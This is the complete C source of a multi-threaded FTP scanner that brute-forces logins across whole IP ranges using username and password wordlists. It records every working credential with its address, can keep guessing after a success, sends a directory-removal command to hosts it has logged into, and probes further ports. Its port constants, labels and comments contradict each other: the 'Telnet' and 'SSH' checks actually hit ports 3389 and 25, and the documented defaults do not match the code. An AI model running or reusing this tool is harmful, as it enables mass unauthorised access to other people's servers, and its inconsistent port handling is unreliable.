/*
        Multi-thread FTP scanner v0.2.5 by Inode <inode@wayreth.eu.org>
	
	This software is a simple multithread scanner for ftp with an
	integrated dictionary bruteforce.

	In the password file use the keyword "null" (with quotes) for check
	null passwords.

	You can download the latest version at: http://www.wayreth.eu.org

	Thanks Megat0n for programming support

	Tested on:
		Linux Slackware 8.0 (i386)
		OpenBSD 3.3 (i386)
		SunOS 5.8 (sparc)

	Compile:
		- Linux / OpenBSD
			gcc -O2 -o ftp_scanner ftp_scanner.c -lpthread
		- FreeBSD
			gcc -O2 -o ftp_scanner ftp_scanner.c -pthread
		- SunOS
			gcc -O2 -o ftp_scanner ftp_scanner.c -DSOLARIS -lpthread -lxnet

	Changes 0.2.5
		- Added option -C (check if command RMD exist, else can be
		  like a printer and doesn't log it) 

	Changes 0.2.4
		- Programmed again connect routines
		- Rebuild the log file 

	Changes 0.2.3
		- Added SSH and Telnet check
		- Fix SIGPIPE (maybe?)

	 $ver=v0.2.5 $name=ftp_scanner 


*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/time.h>

#define MAX_THREAD 250 
#define DEF_THREAD 30
#define TIMEOUT 5
#define PORT 21
#define PORT_TELNET 3389
#define PORT_SSH 25

// Structure 
struct users_list {
	char username[100];
	struct users_list * next;
};

struct password_list {
	char password[100];
        struct password_list * next;
};      

// Global variables
FILE * OUTFILE;
int verbose = 0;
int drop = 0;
int timeout = 0;
int banner = 0;
int strange = 0;
int ssh_telnet = 0;
int rm_dir = 0;

// Address 
unsigned long current_ip;
unsigned long end_ip;

// Mutex variables
pthread_mutex_t input_queue;
pthread_mutex_t user_list;
pthread_mutex_t output_file;

// Main lists pointers
struct users_list * first_user = NULL;
struct password_list * first_pass = NULL;

// Functions prototipes
void * scan(void * data);
void usage(char * argv);
void load_users( char * in_file );
void load_password( char * in_file );
int check_ftp_reply( char * string );
void connect_ip(unsigned long ip);
int check_user( int sock, char * user, char * pass,char * buffer, int lbuffer );
int check_telssh( unsigned long ip );
int check_port( unsigned long ip , int port );

/*

 check_user()

 Check user login and password on an established connection

 Return Value:
	-1 - Network error ( connection closed or similar )
	0  - Login success
	1  - Unknow ftp reply
	2  - Login incorrect
	3  - bad sequence 
*/

int check_user( int sock, char * user, char * pass,char * buffer, int lbuffer )
{
	while(1)
	switch ( check_ftp_reply(  buffer ) ) {
		case 1:
			memset( buffer, 0, lbuffer );
			sprintf( buffer, "USER %s\r\n", user);

			if( send(sock, buffer, strlen(buffer), 0) == -1 )
				return -1;

			memset( buffer, 0, lbuffer  );
			if( recv(sock, buffer, lbuffer, 0)  == -1 )
				return -1;

			break;

		case 2:
			if( rm_dir != 0 ) {
				memset( buffer, 0, lbuffer ); 

				sprintf( buffer, "RMD sarcaxxo\r\n");

				if( send(sock, buffer, strlen(buffer), 0) == -1)
                                        return -1;
 	
				memset( buffer, 0, lbuffer );

				if( recv(sock, buffer, lbuffer, 0)  == -1 )
					return -1;
  
			} else {
				
				memset( buffer, 0, lbuffer );
				sprintf( buffer, "QUIT\r\n");

				if( send(sock, buffer, strlen(buffer), 0) == -1 )
					return -1;

				return 0;
			}
			break;

		case 3:
			return 2;
			break;

		case 4:
			memset( buffer, 0, lbuffer );
			sprintf( buffer, "PASS %s\r\n", pass);

			if( send(sock, buffer, strlen(buffer), 0) == -1 )
				return -1;

			memset( buffer, 0, lbuffer );
			if( recv(sock, buffer, lbuffer, 0)  == -1 )
				return -1;

			break;
		case 5:
			return 3;
			break;

		case 6:
                        memset( buffer, 0, lbuffer );
                        sprintf( buffer, "QUIT\r\n");

                        if( send(sock, buffer, strlen(buffer), 0) == -1 )
                                return -1;

                        return 0;
                        break;
 

		case -1:
			if( strlen( buffer ) == 0 )
				return -1;

			return 1;
			break;			

		default:
			return -1;
			break;
	}
}

/*
 
 connect_ip()

 Scan an ip and bruteforce it if ftp is working

*/

void connect_ip(unsigned long ip)
{
	int sock = 0, ex = 0, ret = 0, ret1 = 0, i = 0;
	char buffer[1024];
	char banner_buffer[1024];
	char username[100];
	char password[100];
	struct users_list * curr_user = first_user;
	struct password_list * curr_pass = first_pass;
	struct in_addr t_in;
	
	t_in.s_addr = ntohl( ip );

	signal(SIGPIPE,SIG_IGN);

	while ( ex == 0) {

		if( verbose != 0)
			fprintf(stderr, "Connecting to: %s\n", inet_ntoa(t_in));

		sock = check_port( ip, PORT );

		if( sock == -1)
			break; 

		if( recv(sock,buffer,sizeof(buffer),0) < 0 )
			break;

		if( check_ftp_reply( buffer ) != 1) 
			break;
		else {

			if( banner == 1)
				strncpy(banner_buffer, buffer, sizeof(banner_buffer)-1 );

			while( curr_user != NULL && curr_pass != NULL ) {

				// Get current user and password 
				pthread_mutex_lock(&user_list);
       				strncpy(password, curr_pass->password, sizeof( password ) - 1 );
				strncpy(username, curr_user->username, sizeof( username ) - 1 ); 
				pthread_mutex_unlock(&user_list);
		
				if( verbose != 0)
					fprintf(stderr, "Testing USER: %s PASS: %s IP: %s\n",username,password,\
						 inet_ntoa(t_in));	

				// Check the user
				ret =  check_user(sock,username,password,buffer,sizeof(buffer));

				if( verbose == 1)
					fprintf(stderr, "check_user() return: %d\n",ret);				

				switch ( ret ){
					case -1:
						break;
					case 1:
						if( strange == 1) {
							pthread_mutex_lock(&output_file);
							fprintf(OUTFILE,"the ftp do a strange reply... IP:%s USER:%s \
								PASS:%s REPLY:%s\n",inet_ntoa(t_in) ,username,\
								password,buffer);
							fflush( OUTFILE );
							pthread_mutex_unlock(&output_file);
						}
						if( verbose == 1)
							fprintf(stderr, "the ftp do a strange reply... IP:%s USER:%s \
								PASS:%s REPLY:%s\n",inet_ntoa(t_in),username,\
								password,buffer);
						break;
					case 0: 
						ret1 = 0;
						if( ssh_telnet != 0 ) 
							ret1 = check_telssh( ip );	

						pthread_mutex_lock(&output_file);

						fprintf(OUTFILE, "IP: %s", inet_ntoa(t_in) );
					
						for( i = strlen( inet_ntoa(t_in) ); i < 17; i++ )
							fprintf(OUTFILE, " ");

						fprintf(OUTFILE, "USER: %s", username);

						for( i = strlen( username ); i < 18; i++)
							fprintf(OUTFILE, " ");

						fprintf(OUTFILE, "PASS: %s", password);
		
						for( i = strlen( password ); i < 18; i++)
							fprintf(OUTFILE, " ");

						switch ( ret1 ) {
							case 3389:
								fprintf(OUTFILE, " RDP");
								break;
							case 25:
								fprintf(OUTFILE, " SMTP");
								break;
							case 3414:
								fprintf(OUTFILE, " RDP SMTP");
								break;
							default:
								break;
						}

						fprintf(OUTFILE, "\n");
						if( banner == 1)
							fprintf(OUTFILE,"%s\n\n",banner_buffer);
	
						fflush( OUTFILE );
	
						pthread_mutex_unlock(&output_file);

						break;
					case 2:	
						strcpy(buffer,"220 ");
						break;
					case 3:
						break;
				}

				if( ret != -1 && ret != 3)
				{
					pthread_mutex_lock(&user_list);

					if( curr_pass->next == NULL && curr_user->next != NULL) {
						curr_user = curr_user->next;
						curr_pass = first_pass;
					}
					else curr_pass = curr_pass->next;

					pthread_mutex_unlock(&user_list);
				}

				if( ret == -1 || ret == 0 || ret == 3)
					break;
			}
		}	
        	close( sock );
		sock = -1;

		if( (curr_user->next == NULL && curr_pass == NULL) || (drop == 1 && ret ==0))
			ex = 1;
		else
			ex = 0;


	}

	if( sock!=-1)
		close( sock );

}

/*

 main()

*/

int main(int argc, char **argv) {

        int i;
	char * out_file = NULL;
	char opt;
        int number_thread = 0;
	char * hosts = NULL;
        struct users_list * curr_user = NULL;
	struct users_list * curr_user_tmp = NULL;
        struct password_list * curr_pass = NULL;
	struct password_list * curr_pass_tmp = NULL;
	unsigned long mask = 0xffffffff;
	char * maskarg = (char *)NULL;
        struct in_addr t_in;

        pthread_t thread_id[MAX_THREAD];
       
	fprintf( stderr, "\n Multi-thread FTP scanner v0.2.5 by Inode <inode@wayreth.eu.org>\n\n");	
 
        // Check arguments
	while((opt = getopt(argc, argv, "t:c:h:u:p:o:vdbskC")) != -1)
	{
		switch (opt)
                {
			case 't':
				timeout =  atoi( optarg );
				break;
			case 'c':
				number_thread = atoi( optarg );
				break;	
			case 'h':
				hosts = optarg;
				break;
			case 'u':
				load_users( optarg );
				break;		
			case 'p':
				load_password( optarg );
				break;
			case 'o':
				out_file = optarg;
				break;
			case 'v':	
				verbose = 1;
				break;
			case 'd':
				drop = 1;
				break;
			case 'b':
				banner = 1;
				break;
			case 's':
				strange = 1;
				break;
			case 'k':
				ssh_telnet = 1;
				break;
			case 'C':
				rm_dir = 1;
				break;
			default:
				usage(argv[0]);
				break;
		}
	}
	
	if( hosts == NULL) 
		usage(argv[0]);

	// Set DEFAULT values
	if( timeout == 0)
		timeout = TIMEOUT;       

	if( number_thread == 0)
		number_thread = DEF_THREAD;

	if( number_thread > MAX_THREAD) {
		fprintf( stderr, " Max num of thread...\n\n");
		exit(0);
	}

	if( out_file == NULL ) {
		out_file = (char *)strdup("/dev/stdout");
	}

	if( ( OUTFILE = fopen( out_file, "a+" ) ) == NULL ) {
		fprintf( stderr, "Can't open output file\n");
		exit(0);	
	}

	if( first_user == NULL || first_pass == NULL )
	{
		fprintf( stderr, "Please specify user and password files\n");
		exit(0);
	}


        if( (maskarg = (char *)strchr(hosts,'/')) ) {
                *maskarg = 0;
                maskarg++;
        }               
                
        if( maskarg ) {
                mask = (mask << ((unsigned long)(32 - atol(maskarg))));
        } else {
                mask = mask;
        }       

        current_ip = ntohl((unsigned long)inet_addr(hosts)) & mask;

	end_ip = current_ip | ~mask;

	if( verbose > 0 ) {
		t_in.s_addr = ntohl( current_ip );
		fprintf(stderr, "Start IP: %s\n", inet_ntoa(t_in) );
		t_in.s_addr = ntohl( end_ip );
		fprintf(stderr, "End   IP: %s\n", inet_ntoa(t_in) );
	}

        // Inizialize mutex variables
        pthread_mutex_init(&input_queue, NULL);
	pthread_mutex_init(&user_list, NULL);
	pthread_mutex_init(&output_file, NULL);

	// For solaris compatibility 
	#ifdef SOLARIS
	pthread_setconcurrency( number_thread );
	#endif

	signal(SIGPIPE,SIG_IGN);

        for( i = 0 ; i < number_thread; i++)
                if( pthread_create( &thread_id[i], NULL, &scan, NULL) != 0 ) {
                        i--;
			fprintf(stderr,"\nError in creating thread\n");
                }
        
        for( i = 0 ; i < number_thread; i++)
                if( pthread_join( thread_id[i], NULL) != 0 ) {
                        fprintf(stderr,"\nError in joining thread\n");
                }


	fflush( OUTFILE );

	fclose( OUTFILE );

	fprintf(stderr, " Scan end...\n\n");

	// free user lists
     	curr_user = first_user;

	while( curr_user != NULL ) {
		curr_user_tmp = curr_user->next;
		free( curr_user );
		curr_user = curr_user_tmp;
	}


	// free password list
	curr_pass = first_pass;
	
	while( curr_pass != NULL ) {
		curr_pass_tmp = curr_pass->next;
		free( curr_pass );
		curr_pass = curr_pass_tmp;
	}

        return 0;
}               
                
        
void usage(char * argv)
{
	fprintf( stderr, " Usage:\n");
	fprintf( stderr, "  %s -h <arg> -u <arg> -p <arg> [-t <arg>] [-c <arg>]\n",argv); 
	fprintf( stderr, " \t[-o <arg>] [-b] [-d] [-v] [-s] [-k]\n\n"); 
	fprintf( stderr, " -h Host/s to scan  (ex 192.168.0.0/24)\n");
        fprintf( stderr, " -u Users file\n");
        fprintf( stderr, " -p Password file\n");
	fprintf( stderr, " -t Timeout in seconds  (default 5)\n");
	fprintf( stderr, " -c Number of thread  (default 20)\n");
	fprintf( stderr, " -o Output file\n");
	fprintf( stderr, " -b Store banner in output file\n");
	fprintf( stderr, " -d Stop bruteforce after a valid user\n");
	fprintf( stderr, " -v Verbose mode\n");
	fprintf( stderr, " -s Store strange ftp reply in output file\n");
	fprintf( stderr, " -k Check SSH and Telnet on host with a valid user\n");
	fprintf( stderr, " -C Check RMDIR command\n");
	fprintf( stderr, "\n");
	exit(0);
}

void * scan(void * data)
{
	unsigned long ip;

        while ( 1 )
        {

                pthread_mutex_lock(&input_queue);

		if( current_ip > end_ip ) {
			pthread_mutex_unlock(&input_queue);
			break;
		}

		ip = current_ip;

		current_ip ++;

                pthread_mutex_unlock(&input_queue);

                connect_ip( ip );


        }

        return NULL;
}

void load_users( char * in_file )
{
        FILE * in;
        struct users_list * temp = NULL;
	struct users_list * temp_1 = NULL;

        if( ( in = fopen( in_file, "rt") ) == NULL ) {
                fprintf( stderr, "\nCan't open input file!\n");
                exit( 0 );
        }

        while( !feof( in ) ) {

                temp = malloc( sizeof( struct users_list ) );

		if( temp_1 != NULL )
			temp_1->next = temp;

                fscanf(in, "%s ",temp->username);

                temp->next = NULL;

		if( first_user == NULL )
			first_user = temp;

		temp_1 = temp;
        };

        fclose( in );
}

/*
*/
void load_password( char * in_file )
{
        FILE * in;
        struct password_list * temp = NULL;
	struct password_list * temp_1 = NULL;

        if( ( in = fopen( in_file, "rt") ) == NULL ) {
                fprintf( stderr, "\nCan't open input file!\n");
                exit( 0 );
        }

        while( !feof( in ) ) {

                temp = malloc( sizeof( struct password_list ) );

		if( temp_1 != NULL )	
			temp_1->next = temp;

                fscanf(in, "%s ",temp->password);

		if( strcmp(temp->password,"\"null\"") == 0 )
			strcpy(temp->password,"");

                temp->next = NULL;

		if( first_pass == NULL )
			first_pass = temp;		

                temp_1 = temp;

        };

        fclose( in );
}


/*

 check_ftp_reply()

 Return Value:
        1 - 220 FTP READY
        2 - 230 LOGIN OK
        3 - 530 login incorrect
        3 - 500 command not undestand
        4 - 331 insert password
        5 - 503 bad sequence or similar
	6 - 550 can't remove directory
*/

int check_ftp_reply( char * string )
{
        if( (char *)strstr( string, "220") == string )
                return 1;

        if( (char *)strstr( string, "230") == string )
                return 2;

        if( (char *)strstr( string, "530") == string )
                return 3;

	if( (char *)strstr( string, "520") == string )
		return 3;

        if( (char *)strstr( string, "500") == string )
                return 3;

        if( (char *)strstr( string, "501") == string )
                return 3;

        if( (char *)strstr( string, "331") == string )
                return 4;

	if( (char *)strstr( string, "503") == string )
		return 5;

	if( (char *)strstr( string, "221") == string )
		return 5;
	
	if( (char *)strstr( string, "400") == string )
		return 5;

	if( (char *)strstr( string, "550") == string )
		return 6;
 

        if( (char *)strstr( string, "421") == string ) {
                string[0] = 0;
        }

        return -1;

}


/*

 Return Value:
	0	Nothing open
	23	Telnet Open
	22	SSH Open
	45	Both Open

*/

int check_telssh( unsigned long ip )
{
	int sock;
	int ret = 0;
	struct in_addr t_in;

	t_in.s_addr = ntohl( ip );

	if( verbose != 0 )
		fprintf(stderr, "Connecting to: %s on port: %d\n", inet_ntoa(t_in), PORT_TELNET );

	sock = check_port( ip , PORT_TELNET );
	
	if( sock > 0 ) { 
		ret += PORT_TELNET;
		close( sock );
	}

	if( verbose != 0 )
		fprintf(stderr, "Connecting to: %s on port: %d\n", inet_ntoa(t_in), PORT_SSH );

	sock = check_port( ip , PORT_SSH );

	if( sock > 0 ) {
		ret += PORT_SSH;
		close( sock );
	}

	return ret;
}


int check_port( unsigned long ip , int port )
{
	int sock, flags, flags_old, retval, sock_len;
	struct sockaddr_in sin;
	struct timeval tv;
	fd_set rfds;

	if( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0){
		fprintf(stderr, "Can't create  socket try to decrase the number\
		of threads...\n");
		perror("socket");
		return -1;
	}

	// Set connection varibles
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = ntohl( ip );
	sin.sin_port = htons( port );

	// Set Non Blocking Socket
	flags_old = fcntl( sock, F_GETFL,0);
	flags = flags_old;
	flags |= O_NONBLOCK;
	fcntl( sock, F_SETFL, flags);
	
	// Connect
	if( connect(sock, (struct sockaddr*) &sin, sizeof(sin) ) == 0 )
		return sock;
 
	// Set timeout
	tv.tv_sec = timeout;
	tv.tv_usec = 0;
	FD_ZERO(&rfds);
	FD_SET(sock, &rfds);

	retval = select(FD_SETSIZE, NULL, &rfds, NULL, &tv);

	// if retval < 0 error
	if( retval < 0 ) {
		close( sock );
		return -1;
	}

	sock_len = sizeof( sin );

	// Check if port closed
	if( retval )
		if( getpeername( sock, (struct  sockaddr  *) &sin, &sock_len) < 0 ) {
			close( sock );
			return -1;
		} else {
			fcntl( sock, F_SETFL, flags_old);
			return sock;
		}

	close( sock );		
	return -1;
}
